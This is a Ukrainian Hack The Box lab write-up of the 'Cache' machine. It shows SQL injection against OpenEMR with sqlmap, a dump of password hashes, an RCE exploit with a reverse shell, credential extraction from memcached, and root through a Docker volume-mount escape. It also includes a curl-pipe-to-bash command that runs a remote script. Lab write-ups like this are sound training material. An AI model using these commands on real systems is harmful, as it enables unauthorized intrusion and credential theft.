10. Hack The Box. Level Medium: Проходження Cache. RCE в OpenEMR, memcached та docker

12.12.2024 1 хвилин Автор: Lady Liberty

Детально розглядається процес експлуатації вразливостей у системі керування медичними записами OpenEMR. Демонструємо, як за допомогою платформи Hack The Box можна виявити та використати вразливості, що призводять до віддаленого виконання коду (RCE).

Експлуатація вразливостей OpenEMR: memcached і Docker

У статті розглядається експлуатація вразливостей у CMS OpenEMR із використанням сервісів memcached та Docker.

Підключення до лабораторії виконується через VPN. Для підключення не рекомендується використовувати робочі комп’ютери або пристрої з важливими даними, оскільки під час роботи з приватною мережею існує ризик взаємодії з досвідченими фахівцями у сфері інформаційної безпеки.

Recon

Машині призначено IP-адресу 10.10.10.188, яка додається до файлу /etc/hosts

10.10.10.188 	blackfield.htb

Спершу виконується сканування відкритих портів за допомогою скрипта, який приймає один аргумент — адресу хоста для сканування:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

На сервері працюють SSH та веб-сервер Apache.

І на сайті можлива авторизація.

Entry Point

І авторизувавшись із цими даними, отримаємо лише якусь картинку.

Переглядаючи сайт далі, на About сторінці знаходимо згадку про HMS.

Додаэмо це ім’я /etc/hosts і подивився, що поверне нам сервер:

10.10.10.188 hms.htb

Так вже краще. Це CMS OpenEMR. Для цієї системи перевіряються доступні експлоїти, враховуючи, що використовується версія 2018 року.

Виявлено експлоїт із можливістю RCE (обрано останню доступну версію). Код експлоїту скопійовано до поточної робочої директорії.

У коді бачимо, що потрібно вказати облікові дані.

А в описі експлоїту є посилання на PoC.

Вивчаючи матеріал за цим посиланням, дізнаємося про SQL ін’єкції.

USER

Переходимо до hms.htb/portal та пробуємо зареєструватися.

Далі здійснюється перехід за адресою hms.htb/portal/add_edit_event_user.php?eid=1, що призводить до появи помилки.

Запит було повторено через Burp Suite і збережено у файл. Для виявлення та експлуатації SQL-ін’єкції використовується sqlmap, якому передається збережений файл запиту.

sqlmap -r r.req

Є ін’єкція! Отримаємо всі БД.

sqlmap -r r.req --dbs

Тепер дізнаємось таблиці з openemr.

sqlmap -r r.req -D openemr --tables

Найцікавіша частина була виділена на зображенні. Виконується отримання даних із цієї ділянки для подальшого аналізу.

sqlmap -r r.req -D openemr -T users_secure --dump

Отримано bcrypt-хеш. Для визначення відповідного режиму роботи в Hashcat використовується команда для пошуку його ідентифікатора.

hashcat --example | grep -A2 -B2 '\$2a\$'

У коді експлоїту задаються адреса та порт для прослуховування, отримані облікові дані та адреса сторінки сайту для виконання атаки.

Відкриємо листенер і виконаємо експлоїт.

Подивимося які є користувачі.

Створюється повноцінний TTY шелл, після чого виконується перехід під користувача ash, використовуючи відомий пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'

І отримуємо перший прапор.

USER2

Для розвідки на віддаленому хості використовуємо скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash

Виявлено багато корисної інформації: на системі використовується Docker, причому другий користувач належить до групи docker (999). На локальному порту 11211 функціонує сервіс memcached. Пам’ять memcached організована у вигляді сегментів, званих slab’ами. Виконується підключення до порту 11211 для отримання списку доступних slab’ів.

telnet localhost 11211
stats slabs

Slab’и розділяються на менші сегменти — chunk’и. У цьому випадку виявлено лише один slab та його відповідні chunk’и. Виконується запит для отримання даних, які зберігаються у цьому slab.

stats cachedump 1 0

Кожен рядок містить ключ-ідентифікатор, розмір даних за цим ключем та timestamp. Основна увага зосереджена на отриманні даних із ключами, що відповідають user та passwd.

get user
get passwd

І отримуємо другого користувача (можна авторизуватися за SSH).

ROOT

Оскільки раніше згадувався Docker, виконується перевірка доступних Docker-образів у системі для подальшого аналізу.

docker images

Виявлено один образ Ubuntu. Виконується його монтування для подальшого дослідження вмісту.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash

Забираємо прапор рута.

Висновок

У статті детально розглядається процес експлуатації вразливостей у CMS OpenEMR за допомогою інструментів, таких як Burp Suite, sqlmap і Hashcat. Особлива увага приділяється аналізу memcached, використанню Docker та отриманню привілейованого доступу через RCE. На основі виявлених даних демонструється покроковий підхід до розкриття та експлуатації слабких місць системи, що є корисним для фахівців з інформаційної безпеки.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.